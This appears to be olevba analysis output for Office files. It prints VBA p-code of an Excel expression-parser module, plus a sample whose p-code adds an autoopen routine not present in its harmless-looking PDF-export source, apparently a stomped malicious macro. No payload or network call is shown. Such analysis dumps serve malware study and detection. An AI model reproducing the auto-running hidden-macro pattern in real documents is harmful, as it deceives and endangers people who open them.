' ArgsLd Utils_CalcDimDirection 0x0001 | |
' Eq | |
' Paren | |
' St sortRows | |
' Line #521: | |
' Ld args | |
' LitStr 0x0007 "descend" | |
' ArgsLd Utils_IsFlagSet 0x0002 | |
' Not | |
' St ascend | |
' Line #522: | |
' Ld args | |
' LitStr 0x0007 "indices" | |
' ArgsLd Utils_IsFlagSet 0x0002 | |
' St returnIndices | |
' Line #523: | |
' Ld sortRows | |
' IfBlock | |
' Line #524: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' Ld WorksheetFunction | |
' ArgsMemLd Transpose 0x0001 | |
' LitDI2 0x0001 | |
' ArgsSt args 0x0001 | |
' Line #525: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_Conform 0x0001 | |
' Line #526: | |
' EndIfBlock | |
' Line #527: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_ForceMatrix 0x0001 | |
' Line #528: | |
' Dim | |
' VarDefn rows (As Long) | |
' VarDefn cols (As Long) | |
' VarDefn i (As Long) | |
' VarDefn j (As Long) | |
' Line #529: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' Ld rows | |
' Ld cols | |
' ArgsCall Utils_Size 0x0003 | |
' Line #530: | |
' Dim | |
' VarDefn indices | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' Ld rows | |
' LitDI2 0x0001 | |
' Ld cols | |
' Redim indices 0x0002 (As Variant) | |
' Line #531: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld rows | |
' For | |
' Line #532: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld cols | |
' For | |
' Line #533: | |
' Ld i | |
' Ld i | |
' Ld j | |
' ArgsSt indices 0x0002 | |
' Line #534: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #535: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #536: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld cols | |
' For | |
' Line #537: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' Ld indices | |
' LitDI2 0x0001 | |
' Ld rows | |
' Ld j | |
' Ld ascend | |
' ArgsCall Utils_QuickSortCol 0x0006 | |
' Line #538: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #539: | |
' Ld returnIndices | |
' IfBlock | |
' Line #540: | |
' Ld indices | |
' St fn_sort | |
' Line #541: | |
' ElseBlock | |
' Line #542: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' Ld rows | |
' LitDI2 0x0001 | |
' Ld cols | |
' Redim r 0x0002 (As Variant) | |
' Line #543: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld rows | |
' For | |
' Line #544: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld cols | |
' For | |
' Line #545: | |
' Ld i | |
' Ld j | |
' ArgsLd indices 0x0002 | |
' Ld j | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Ld i | |
' Ld j | |
' ArgsSt r 0x0002 | |
' Line #546: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #547: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #548: | |
' Ld r | |
' St fn_sort | |
' Line #549: | |
' EndIfBlock | |
' Line #550: | |
' Ld sortRows | |
' If | |
' BoSImplicit | |
' Ld fn_sort | |
' Ld WorksheetFunction | |
' ArgsMemLd Transpose 0x0001 | |
' St fn_sort | |
' EndIf | |
' Line #551: | |
' Ld fn_sort | |
' ArgsCall Utils_Conform 0x0001 | |
' Line #552: | |
' EndFunc | |
' Line #553: | |
' FuncDefn (Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean)) | |
' Line #554: | |
' Ld first | |
' Ld last | |
' Ge | |
' If | |
' BoSImplicit | |
' ExitFunc | |
' EndIf | |
' Line #555: | |
' Dim | |
' VarDefn tmp (As Variant) | |
' Line #556: | |
' Dim | |
' VarDefn pivot (As Variant) | |
' BoS 0x0000 | |
' Ld first | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld col | |
' ArgsLd arr 0x0002 | |
' St pivot | |
' Line #557: | |
' Dim | |
' VarDefn Left (As Long) | |
' BoS 0x0000 | |
' Ld first | |
' St Left | |
' Line #558: | |
' Dim | |
' VarDefn right (As Long) | |
' BoS 0x0000 | |
' Ld last | |
' St right | |
' Line #559: | |
' Dim | |
' VarDefn ascendprefix (As Long) | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' UMi | |
' LitDI2 0x0002 | |
' Ld ascend | |
' FnSgn | |
' Mul | |
' Sub | |
' St ascendprefix | |
' Line #560: | |
' Ld Left | |
' Ld right | |
' Le | |
' While | |
' Line #561: | |
' Ld ascendprefix | |
' Ld Left | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld col | |
' ArgsLd arr 0x0002 | |
' Ld pivot | |
' ArgsLd Utils_Compare 0x0002 | |
' Mul | |
' LitDI2 0x0000 | |
' Lt | |
' While | |
' Line #562: | |
' Ld Left | |
' LitDI2 0x0001 | |
' Add | |
' St Left | |
' Line #563: | |
' Wend | |
' Line #564: | |
' Ld ascendprefix | |
' Ld pivot | |
' Ld right | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld col | |
' ArgsLd arr 0x0002 | |
' ArgsLd Utils_Compare 0x0002 | |
' Mul | |
' LitDI2 0x0000 | |
' Lt | |
' While | |
' Line #565: | |
' Ld right | |
' LitDI2 0x0001 | |
' Sub | |
' St right | |
' Line #566: | |
' Wend | |
' Line #567: | |
' Ld Left | |
' Ld right | |
' Le | |
' IfBlock | |
' Line #568: | |
' Ld Left | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' St tmp | |
' Line #569: | |
' Ld right | |
' Ld col | |
' ArgsLd indices 0x0002 | |
' Ld Left | |
' Ld col | |
' ArgsSt indices 0x0002 | |
' Line #570: | |
' Ld tmp | |
' Ld right | |
' Ld col | |
' ArgsSt indices 0x0002 | |
' Line #571: | |
' Ld Left | |
' LitDI2 0x0001 | |
' Add | |
' St Left | |
' Line #572: | |
' Ld right | |
' LitDI2 0x0001 | |
' Sub | |
' St right | |
' Line #573: | |
' EndIfBlock | |
' Line #574: | |
' Wend | |
' Line #575: | |
' Ld arr | |
' Ld indices | |
' Ld first | |
' Ld right | |
' Ld col | |
' Ld ascend | |
' ArgsCall Utils_QuickSortCol 0x0006 | |
' Line #576: | |
' Ld arr | |
' Ld indices | |
' Ld Left | |
' Ld last | |
' Ld col | |
' Ld ascend | |
' ArgsCall Utils_QuickSortCol 0x0006 | |
' Line #577: | |
' EndFunc | |
' Line #578: | |
' FuncDefn (Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant) | |
' Line #579: | |
' Ld arg1 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #580: | |
' Ld arg2 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #581: | |
' Ld arg1 | |
' Ld arg2 | |
' Sub | |
' St Utils_Compare | |
' Line #582: | |
' ElseBlock | |
' Line #583: | |
' LitDI2 0x0001 | |
' UMi | |
' St Utils_Compare | |
' Line #584: | |
' EndIfBlock | |
' Line #585: | |
' ElseBlock | |
' Line #586: | |
' Ld arg2 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #587: | |
' LitDI2 0x0001 | |
' St Utils_Compare | |
' Line #588: | |
' ElseBlock | |
' Line #589: | |
' Ld arg1 | |
' Coerce (Str) | |
' Ld arg2 | |
' Coerce (Str) | |
' FnStrComp | |
' St Utils_Compare | |
' Line #590: | |
' EndIfBlock | |
' Line #591: | |
' EndIfBlock | |
' Line #592: | |
' EndFunc | |
' Line #593: | |
' FuncDefn (Private Function fn_arrayfun(args As Variant) As Variant) | |
' Line #594: | |
' Ld args | |
' LitDI2 0x0002 | |
' LitDI2 0x0064 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #595: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsLd TypeName 0x0001 | |
' LitStr 0x0006 "String" | |
' Eq | |
' LitStr 0x0033 "apply: 1st argument must be an Excel function name." | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #596: | |
' Dim | |
' VarDefn i (As Long) | |
' VarDefn r1 (As Long) | |
' VarDefn c1 (As Long) | |
' VarDefn r2 (As Long) | |
' VarDefn c2 (As Long) | |
' Line #597: | |
' LitDI2 0x0001 | |
' UMi | |
' St r1 | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' UMi | |
' St c1 | |
' Line #598: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0002 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' For | |
' Line #599: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_ForceMatrix 0x0001 | |
' Line #600: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' Ld r2 | |
' Ld c2 | |
' ArgsCall Utils_Size 0x0003 | |
' Line #601: | |
' Ld r1 | |
' LitDI2 0x0000 | |
' Lt | |
' Ld c1 | |
' LitDI2 0x0000 | |
' Lt | |
' And | |
' Paren | |
' Ld r2 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld c2 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' Paren | |
' Or | |
' Ld r1 | |
' Ld r2 | |
' Eq | |
' Ld c1 | |
' Ld c2 | |
' Eq | |
' And | |
' Paren | |
' Or | |
' Ld r1 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld r1 | |
' Ld r2 | |
' Eq | |
' Or | |
' Paren | |
' Ld c2 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' Paren | |
' Or | |
' Ld r2 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld c1 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld c1 | |
' Ld c2 | |
' Eq | |
' Or | |
' Paren | |
' And | |
' Paren | |
' Or | |
' LitStr 0x001B "apply(): Wrong input sizes." | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #602: | |
' Ld r1 | |
' Ld r2 | |
' ArgsLd MAX 0x0002 | |
' St r1 | |
' BoS 0x0000 | |
' Ld c1 | |
' Ld c2 | |
' ArgsLd MAX 0x0002 | |
' St c1 | |
' Line #603: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #604: | |
' Dim | |
' VarDefn v | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' Ld r1 | |
' OptionBase | |
' Ld c1 | |
' Redim r 0x0002 (As Variant) | |
' Line #605: | |
' StartForVariable | |
' Ld r1 | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld r | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' For | |
' Line #606: | |
' StartForVariable | |
' Ld c1 | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld r | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #607: | |
' LitVarSpecial (Empty) | |
' St v | |
' Line #608: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0002 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' For | |
' Line #609: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' Ld r2 | |
' Ld c2 | |
' ArgsCall Utils_Size 0x0003 | |
' Line #610: | |
' Ld r1 | |
' Ld r2 | |
' ArgsLd MIN 0x0002 | |
' Ld c1 | |
' Ld c2 | |
' ArgsLd MIN 0x0002 | |
' Ld i | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Ld v | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #611: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #612: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitStr 0x0001 "(" | |
' Concat | |
' Ld v | |
' LitStr 0x0001 "," | |
' ArgsLd Join 0x0002 | |
' Concat | |
' LitStr 0x0001 ")" | |
' Concat | |
' ArgsLd Evaluate 0x0001 | |
' Ld r1 | |
' Ld c1 | |
' ArgsSt r 0x0002 | |
' Line #613: | |
' StartForVariable | |
' Ld c1 | |
' EndForVariable | |
' NextVar | |
' Line #614: | |
' StartForVariable | |
' Ld r1 | |
' EndForVariable | |
' NextVar | |
' Line #615: | |
' Ld r | |
' Ld fn_arrayfun | |
' ArgsCall Utils_ConformAndAssign 0x0002 | |
' Line #616: | |
' EndFunc | |
' Line #617: | |
' FuncDefn (Private Function fn_concat(args As Variant) As Variant) | |
' Line #618: | |
' Ld args | |
' LitDI2 0x0001 | |
' LitDI2 0x0003 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #619: | |
' Dim | |
' VarDefn i (As Long) | |
' VarDefn j (As Long) | |
' VarDefn x (As Long) | |
' VarDefn joiner (As String) | |
' Line #620: | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' ArgsCall Utils_ForceMatrix 0x0001 | |
' Line #621: | |
' Ld args | |
' LitDI2 0x0003 | |
' ArgsLd Utils_CalcDimDirection 0x0002 | |
' St x | |
' Line #622: | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Gt | |
' If | |
' BoSImplicit | |
' LitDI2 0x0002 | |
' ArgsLd args 0x0001 | |
' St joiner | |
' EndIf | |
' Line #623: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' Ld x | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' OptionBase | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' Mul | |
' Ld x | |
' Add | |
' Redim r 0x0002 (As Variant) | |
' Line #624: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' For | |
' Line #625: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #626: | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld i | |
' Mul | |
' Ld x | |
' Ld j | |
' Mul | |
' Add | |
' LitDI2 0x0001 | |
' Eq | |
' IfBlock | |
' Line #627: | |
' Ld i | |
' Ld j | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Ld x | |
' Ld i | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld j | |
' Mul | |
' Ld x | |
' Add | |
' ArgsSt r 0x0002 | |
' Line #628: | |
' ElseBlock | |
' Line #629: | |
' Ld x | |
' Ld i | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld j | |
' Mul | |
' Ld x | |
' Add | |
' ArgsLd r 0x0002 | |
' Ld joiner | |
' Concat | |
' Ld i | |
' Ld j | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' Concat | |
' Ld x | |
' Ld i | |
' Mul | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Add | |
' LitDI2 0x0001 | |
' Ld x | |
' Sub | |
' Paren | |
' Ld j | |
' Mul | |
' Ld x | |
' Add | |
' ArgsSt r 0x0002 | |
' Line #630: | |
' EndIfBlock | |
' Line #631: | |
' StartForVariable | |
' Ld j | |
' EndForVariable | |
' NextVar | |
' Line #632: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #633: | |
' Ld r | |
' Ld fn_concat | |
' ArgsCall Utils_ConformAndAssign 0x0002 | |
' Line #634: | |
' EndFunc | |
' Line #635: | |
' FuncDefn (Private Function fn_expand(args As Variant) As Variant) | |
' Line #636: | |
' Ld args | |
' LitDI2 0x0001 | |
' LitDI2 0x0003 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #637: | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0001 | |
' LitStr 0x0008 "eval_arg" | |
' Eq | |
' LitStr 0x0025 "expand(): 1st argument must be a cell" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #638: | |
' Dim | |
' VarDefn cell | |
' BoS 0x0000 | |
' SetStmt | |
' LitDI2 0x0002 | |
' LitDI2 0x0001 | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0001 | |
' ArgsLd arguments 0x0001 | |
' Set cell | |
' Line #639: | |
' Dim | |
' VarDefn rows (As Long) | |
' VarDefn cols (As Long) | |
' Line #640: | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Gt | |
' If | |
' BoSImplicit | |
' LitDI2 0x0002 | |
' ArgsLd args 0x0001 | |
' ArgsLd eval_tree 0x0001 | |
' St rows | |
' EndIf | |
' Line #641: | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0002 | |
' Gt | |
' If | |
' BoSImplicit | |
' LitDI2 0x0003 | |
' ArgsLd args 0x0001 | |
' ArgsLd eval_tree 0x0001 | |
' St cols | |
' EndIf | |
' Line #642: | |
' Ld rows | |
' LitDI2 0x0000 | |
' Le | |
' IfBlock | |
' Line #643: | |
' Ld xlDown | |
' Ld cell | |
' ArgsMemLd End 0x0001 | |
' MemLd Row | |
' Ld cell | |
' MemLd Row | |
' Sub | |
' LitDI2 0x0001 | |
' Add | |
' St rows | |
' Line #644: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' Ld Application | |
' MemLd WorksheetFunction | |
' ArgsMemLd IsError 0x0001 | |
' Not | |
' IfBlock | |
' Line #645: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' LitStr 0x0000 "" | |
' Eq | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' St rows | |
' EndIf | |
' Line #646: | |
' EndIfBlock | |
' Line #647: | |
' EndIfBlock | |
' Line #648: | |
' Ld cols | |
' LitDI2 0x0000 | |
' Le | |
' IfBlock | |
' Line #649: | |
' Ld xlToRight | |
' Ld cell | |
' ArgsMemLd End 0x0001 | |
' MemLd Column | |
' Ld cell | |
' MemLd Column | |
' Sub | |
' LitDI2 0x0001 | |
' Add | |
' St cols | |
' Line #650: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' Ld Application | |
' MemLd WorksheetFunction | |
' ArgsMemLd IsError 0x0001 | |
' Not | |
' IfBlock | |
' Line #651: | |
' LitDI2 0x0000 | |
' LitDI2 0x0001 | |
' Ld cell | |
' ArgsMemLd Offset 0x0002 | |
' LitStr 0x0000 "" | |
' Eq | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' St cols | |
' EndIf | |
' Line #652: | |
' EndIfBlock | |
' Line #653: | |
' EndIfBlock | |
' Line #654: | |
' Ld rows | |
' Ld cols | |
' Ld cell | |
' ArgsMemLd Resize 0x0002 | |
' MemLd Value | |
' Ld fn_expand | |
' ArgsCall Utils_ConformAndAssign 0x0002 | |
' Line #655: | |
' EndFunc | |
' Line #656: | |
' FuncDefn (Private Function fn_version(args As Variant) As Variant) | |
' Line #657: | |
' Ld args | |
' LitDI2 0x0000 | |
' LitDI2 0x0000 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #658: | |
' Ld VERSION | |
' St fn_version | |
' Line #659: | |
' EndFunc | |
' Line #660: | |
' Line #661: | |
' Line #662: | |
' Line #663: | |
' Line #664: | |
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools | |
=============================================================================== | |
FILE: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59 | |
Type: OLE | |
------------------------------------------------------------------------------- | |
VBA MACRO ThisDocument.cls | |
in file: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59 - OLE stream: 'Macros/VBA/ThisDocument' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Sub SaveWorkshetAsPDF() | |
ThisWorkbook.ExportAsFixedFormat xlTypePDF, "C:UsersSumitDesktopTest" & ThisWorkbook.Name & ".pdf" | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO Module1.bas | |
in file: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59 - OLE stream: 'Macros/VBA/Module1' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Sub SaveWorkshetAsPDF() | |
ThisWorkbook.ExportAsFixedFormat xlTypePDF, "C:UsersSumitDesktopTest" & ThisWorkbook.Name & ".pdf" | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO VBA_P-code.txt | |
in file: VBA P-code - OLE stream: 'VBA P-code' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
' =============================================================================== | |
' Module streams: | |
' Macros/VBA/ThisDocument - 1602 bytes | |
' Line #0: | |
' FuncDefn (Sub autoopen()) | |
' Line #1: | |
' LitStr 0x0000 "" | |
' LitStr 0x0000 "" | |
' ArgsCall Q 0x0002 | |
' Line #2: | |
' EndSub | |
' Line #3: | |
' Line #4: | |
' Line #5: | |
' Line #6: | |
' Macros/VBA/Module1 - 37626 bytes | |
' Line #0: | |
' Line #1: | |
' Dim (Private Const) | |
' LitStr 0x0004 "1.62" | |
' VarDefn VERSION | |
' Line #2: | |
' Dim (Private Const) | |
' LitStr 0x000A "0123456789" | |
' VarDefn NUMERICS | |
' Line #3: | |
' Dim (Private Const) | |
' LitStr 0x001A "abcdefghijklmnopqrstuvwxyz" | |
' VarDefn ALPHAS | |
' Line #4: | |
' Dim (Private Const) | |
' LitStr 0x000A "()[],;:+-#" | |
' VarDefn SINGLE_OPS | |
' Line #5: | |
' Dim (Private Const) | |
' LitStr 0x000B ".|&<>~=*/^!" | |
' VarDefn COMBO_OPS | |
' Line #6: | |
' Line #7: | |
' Dim (Public) | |
' VarDefn CodOrdineCorrente1 (As Object) | |
' Line #8: | |
' Dim (Public) | |
' VarDefn UtilsInd2Sub (As Object) | |
' Line #9: | |
' Dim (Public) | |
' VarDefn ParsePostfixResult (As Object) 0x001B | |
' Line #10: | |
' Dim (Public) | |
' VarDefn CodOrdineCorrente4 (As String) | |
' Line #11: | |
' Dim (Public) | |
' VarDefn dimIndexArgs (As String) | |
' Line #12: | |
' Dim (Public) | |
' VarDefn UtilsCalcDimDirection (As Object) | |
' Line #13: | |
' Dim (Private) | |
' VarDefn expression (As String) | |
' Line #14: | |
' Dim (Private) | |
' VarDefn expressionIndex (As Long) | |
' Line #15: | |
' Dim (Private) | |
' VarDefn currentToken (As String) | |
' Line #16: | |
' Dim (Private) | |
' VarDefn previousTokenIsSpace (As Boolean) | |
' Line #17: | |
' Dim (Private) | |
' VarDefn arguments (As Variant) | |
' Line #18: | |
' Dim (Private) | |
' VarDefn endValues (As Variant) | |
' Line #19: | |
' Dim (Private) | |
' VarDefn errorMsg (As String) | |
' Line #20: | |
' Dim (Private) | |
' VarDefn ans (As Variant) | |
' Line #21: | |
' Line #22: | |
' FuncDefn (Private Sub Tokens_Next()) | |
' Line #23: | |
' LitStr 0x0001 " " | |
' ArgsLd Tokens_MoveCharPointer 0x0001 | |
' St previousTokenIsSpace | |
' Line #24: | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Gt | |
' If | |
' BoSImplicit | |
' LitStr 0x0000 "" | |
' St currentToken | |
' BoS 0x0000 | |
' ExitSub | |
' EndIf | |
' Line #25: | |
' Dim | |
' VarDefn startIndex (As Long) | |
' BoS 0x0000 | |
' Ld expressionIndex | |
' St startIndex | |
' Line #26: | |
' Ld expression | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' ArgsLd Mid 0x0003 | |
' ArgsLd Asc 0x0001 | |
' SelectCase | |
' Line #27: | |
' LitStr 0x0001 """ | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #28: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
' Line #29: | |
' LitStr 0x0001 """ | |
' LitVarSpecial (True) | |
' ArgsCall Tokens_MoveCharPointer 0x0002 | |
' Line #30: | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Le | |
' LitStr 0x0019 "Unfinished string literal" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #31: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
' Line #32: | |
' LitStr 0x0001 "a" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "z" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #33: | |
' Ld NUMERICS | |
' Ld ALPHAS | |
' Concat | |
' LitStr 0x0001 "_" | |
' Concat | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #34: | |
' LitStr 0x0001 "0" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "9" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #35: | |
' Ld NUMERICS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #36: | |
' LitStr 0x0001 "." | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsLd Tokens_MoveCharPointer 0x0003 | |
' IfBlock | |
' Line #37: | |
' Ld NUMERICS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #38: | |
' EndIfBlock | |
' Line #39: | |
' LitStr 0x0002 "eE" | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsLd Tokens_MoveCharPointer 0x0003 | |
' IfBlock | |
' Line #40: | |
' Ld NUMERICS | |
' LitStr 0x0001 "-" | |
' Concat | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsCall Tokens_MoveCharPointer 0x0003 | |
' Line #41: | |
' Ld NUMERICS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #42: | |
' EndIfBlock | |
' Line #43: | |
' Ld vbLf | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #44: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
' Line #45: | |
' CaseElse | |
' Line #46: | |
' Ld SINGLE_OPS | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsLd Tokens_MoveCharPointer 0x0003 | |
' Not | |
' IfBlock | |
' Line #47: | |
' Ld COMBO_OPS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #48: | |
' EndIfBlock | |
' Line #49: | |
' EndSelect | |
' Line #50: | |
' Ld expression | |
' Ld startIndex | |
' Ld expressionIndex | |
' Ld startIndex | |
' Sub | |
' ArgsLd Mid 0x0003 | |
' St currentToken | |
' Line #51: | |
' LineCont 0x0004 0C 00 01 00 | |
' Ld expressionIndex | |
' Ld startIndex | |
' Gt | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Gt | |
' Or | |
' LitStr 0x000E "Illegal char: " | |
' Ld expression | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' ArgsLd Mid 0x0003 | |
' Concat | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #52: | |
' EndSub | |
' Line #53: | |
' FuncDefn (Private Sub Tokens_AssertAndNext(token As String)) | |
' Line #54: | |
' Ld token | |
' Ld currentToken | |
' Eq | |
' LitStr 0x000F "missing token: " | |
' Ld token | |
' Concat | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #55: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #56: | |
' EndSub | |
' Line #57: | |
' LineCont 0x0008 08 00 01 00 0F 00 01 00 | |
' ConstFuncExpr | |
' LitVarSpecial (False) | |
' LitVarSpecial (False) | |
' FuncDefn (Private Function Tokens_MoveCharPointer(str As String, Optional stopAtStr As Boolean, Optional singleCharOnly As Boolean) As Boolean) | |
' Line #58: | |
' LineCont 0x0004 07 00 01 00 | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Le | |
' Ld stopAtStr | |
' Ld str | |
' Ld expression | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' ArgsLd Mid 0x0003 | |
' FnInStr | |
' LitDI2 0x0000 | |
' Gt | |
' Paren | |
' Ne | |
' And | |
' While | |
' Line #59: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
